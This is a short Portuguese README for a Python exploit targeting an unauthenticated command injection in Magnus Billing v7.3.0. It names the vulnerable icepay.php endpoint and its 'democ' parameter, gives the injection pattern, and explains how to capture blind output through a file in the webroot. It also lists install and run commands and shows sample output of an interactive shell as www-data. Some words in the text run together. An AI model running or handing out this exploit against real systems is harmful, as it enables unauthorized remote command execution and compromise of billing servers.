
Vulnerabilidade de injeção de comandos não autenticada no Magnus Billing v7.3.0.
Vulnerabilidade de injeção de comando não autenticada no Magnus Billing v7.3.0. O parâmetro GET
democemicepay.phpé passado diretamente para uma função shell sem sanitização, permitindo execução arbitrária de comandos como o usuário do servidor web. A injeção é cega — a saída não é refletida na resposta HTTP — então este exploit redireciona a saída de cada comando para um arquivo no webroot e o busca de volta via HTTP.
/mbilling/lib/icepay/icepay.php?democ=;<command>;.out.txt).Se o alvo usar um caminho de webroot diferente, ajuste
OUTPUT_FILEno início do script.
python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit
python3 exploit.py -t http://TARGET
Exemplo:
$ python3 exploit.py -t http://10.10.10.10
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data